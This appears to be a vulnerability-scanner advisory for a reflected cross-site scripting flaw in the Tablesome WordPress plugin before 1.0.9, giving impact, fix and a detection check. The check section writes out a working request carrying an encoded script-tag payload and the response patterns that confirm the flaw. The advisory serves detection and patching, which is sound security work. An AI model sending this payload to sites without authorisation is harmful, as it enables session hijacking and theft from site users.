Readycheck to confirm it

Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Fixed in version 1.0.9.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=tablesome_cpt&a%22%3e%3cscript%3ealert`document.domain`%3c%2fscript%3e
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<script>alert`document_domain`</script>") and contains(body_2, "tablesome")
